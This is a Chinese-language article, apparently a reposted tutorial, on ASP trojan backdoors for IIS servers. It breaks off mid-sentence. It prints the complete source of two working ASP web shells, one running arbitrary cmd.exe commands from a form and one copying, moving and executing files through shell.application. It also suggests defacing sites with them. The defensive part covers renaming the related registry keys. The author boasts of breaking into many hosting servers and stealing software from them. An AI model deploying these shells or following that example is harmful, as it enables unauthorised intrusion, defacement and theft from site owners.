隨著ASP 技術的發展,網絡上基於ASP技術開發的網站越來越多,對ASP技術的支持可以說已經是windows系統IIS服務器的一項基本功能。但是基於ASP技術的木馬後門,也越來越多,而且功能也越來越強大。由於ASP它本身是服務器提供的一貢服務功能,所以這種ASP腳本的木馬後門,不會被殺毒軟件查殺。被黑客們稱為“永遠不會被查殺的後門”。由於其高度的隱蔽性和難查殺性,對網站的安全造成了嚴重的威脅。因此針對ASP木馬的防范和清除,為我們的網管人員提出了更高的技術要求。下面我結合個人的經驗,談一下對兩款比較典型的ASP 木馬的防范方法,希望對大家能夠有所幫助。 以下是第一款木馬的代碼: <title>ASP Shell</title> <%@ Language=VBScript %> <% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next -- create the COM objects that we will be using -- Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") -- check for a command that we have posted -- szCMD = Request.Form(".CMD") If (szCMD <> "") Then -- Use a poor mans pipe ... a temp file -- szTempFile = "C:" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %> <HTML> <BODY> <FORM action="<%= Request.ServerVariables("URL") %>" method="POST"> <input type=text size=45 value="<%= szCMD %>"> <input type=submit value="執行命令"> </FORM> <PRE><% If (IsObject(oFile)) Then -- Read the output from our command and remove the temp file -- On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If %> </BODY> </HTML> 在命令行裡輸入DIR命令點執行就可以查看目錄了!!它可以使用各種DOS命令,如:copy、net、netstat等。 但是它的默認執行權限只有GUEST,也就是IUSR_COMPUTER用戶的執行權限。當然如果你把IUSR_COMPUTER用戶加入管理員組,那麼你就有管理員權限了。這一款木馬的特點是,使用很方便。幾乎就想當於DOS命令行窗口xx作一樣。但是如果服務器限制了FSO(無組件上傳),那麼它是沒有辦法使用了。還有就是在服務器以後增加的虛擬主機裡也沒有辦法使用。只能在“默認 Web 站點”裡使用,所以它相對的適用范圍較窄。 對於防范方法讓我們看一下它的代碼就知道了: Set oScript = Server.CreateObject("WSCRIPT.SHELL") "建立了一個名為oScript的WSCRIPT.SHELL對象,用於命令的執行" Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") 上面三行代碼創建了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三個對象,我們只要在注冊表中把控制WSCRIPT.SHELL對象的項改名或刪除就可以了。如下圖:值得注意的是:我們應該把“WSCRIPT.SHELL”項和“WSCRIPT.SHELL.1”這兩項都要改名或刪除。因為如我們只修改“WSCRIPT.SHELL”項的話。那麼黑客們只要把代碼修改如下:Set oScript = Server.CreateObject("WSCRIPT.SHELL.1") 這個後門木馬就又可以執行了。 大家可能已經想到了,我們在對“WSCRIPT.SHELL”項和“WSCRIPT.SHELL.1”改名時,一定要不容易被黑客們猜到,因為例如:你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。黑客們只要把代碼相應的改成:Set oScript = Server.CreateObject("WSCRIPT.SHELL888"),木馬程序就又可以執行了。還有就修改了注冊表以後要重起WEB服務,設置才會有效。 接下來讓我們再來看下一款ASP後門木馬程序的代碼: <%response.write "<font size=6 color=red>一次只能執行一個xx作</font>" %> <%response.write now()%><BR>程序所在的物理路徑: <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> <html> <title>asps shell.application backdoor </title> <body> <form action="<%= Request.ServerVariables("URL") %>" method="POST"> <input type=text name=text value="<%=szCMD %>"> 輸入要浏覽的目錄<br> <input type=text name=text1 value="<%=szCMD1 %>"> copy <input type=text name=text2 value="<%=szCMD2 %>"><br> <input type=text name=text3 value="<%=szCMD3 %>"> move <input type=text name=text4 value="<%=szCMD4 %>"><br> 路徑:<input type=text name=text5 value="<%=szCMD5 %>"> 程序:<input type=text name=text6 value="<%=szCMD6 %>"><br> <input type=submit name=sb value=發送命令> </form> </body> </html> <% szCMD = Request.Form("text") 目錄浏覽 if (szCMD <> "") then set shell=server.createobject("shell.application") 建立shell對象 set fod1=shell.namespace(szcmd) set foditems=fod1.items for each co in foditems
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>" next end if %> <% szCMD1 = Request.Form("text1") 目錄拷貝,不能進行文件拷貝 szCMD2 = Request.Form("text2") if szcmd1<>"" and szcmd2<>"" then set shell1=server.createobject("shell.application") 建立shell對象 set fod1=shell1.namespace(szcmd2) for i=len(szcmd1) to 1 step -1 if mid(szcmd1,i,1)="" then path=left(szcmd1,i-1) exit for end if next if len(path)=2 then path=path & "" path2=right(szcmd1,len(szcmd1)-i) set fod2=shell1.namespace(path) set foditem=fod2.parsename(path2) fod1.copyhere foditem response.write "command completed success!" end if %> <% szCMD3 = Request.Form("text3") 目錄移動 szCMD4 = Request.Form("text4") if szcmd3<>"" and szcmd4<>"" then set shell2=server.createobject("shell.application") 建立shell對象 set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1 if mid(szcmd3,i,1)="" then path=left(szcmd3,i-1) exit for end if next if len(path)=2 then path=path & "" path2=right(szcmd3,len(szcmd3)-i) set fod2=shell2.namespace(path) set foditem=fod2.parsename(path2) fod1.movehere foditem response.write "command completed success!" end if %> <% szCMD5 = Request.Form("text5") 執行程序要指定路徑 szCMD6 = Request.Form("text6") if szcmd5<>"" and szcmd6<>"" then set shell3=server.createobject("shell.application") 建立shell對象 shell3.namespace(szcmd5).items.item(szcmd6).invokeverb response.write "command completed success!" end if %> 要查看目錄,只要輸入相應的目錄,點發送命令就可以了。這個木馬程可以完成文件的COPY、MOVE,和執行程序。但很多命令都不能用,例如:del、net、netstat等。這個木馬程的功能隨然簡單,但是用它來黑一個網站是足夠了。比如,我們可以把網站的首頁MOVE到其它地方,然後我們再COPY一個同名的黑客網頁進去,就行了。 最要命的是這個木馬適用於任何虛擬主機之中,也就是說我只要是服務器中的一個虛擬空間的用戶,我就可以傳這個木馬上去,5自學網,並用它來修改其它任何用戶的主頁。所以如果哪些提供虛擬空間的服務商沒有打補丁的話,那真是死定了。 然而在我的實踐中發現,中國很多的虛擬空間服務商,特別是一些小型的服務商都沒有打補丁。我利用這一漏洞拿到了很多虛擬空間服務器的ADMIN,然後好心的幫他們補上漏洞。當然我也得到了我想得到的東西——很多好的軟件和代碼。我現在用著的很多ASP程序就是從他們那上面偷下來,太難聽了,應該說DOWN下來的才對。 言歸正傳,5自學網,我們應該怎樣來防范這個ASP後門木馬程序呢?讓我們看一下它其中的這一句代碼:set shell=server.createobject("shell.application"),跟剛才的方法一樣,我們只要把"shell.application"項和"shell.application.1"項改名或刪除就可以了。記住了,如果是改名,要改得復雜一點,不要讓黑客們一下就猜到了。順便說一句,如果是你給肉雞打補丁最好是改名,並把名字記下來,這樣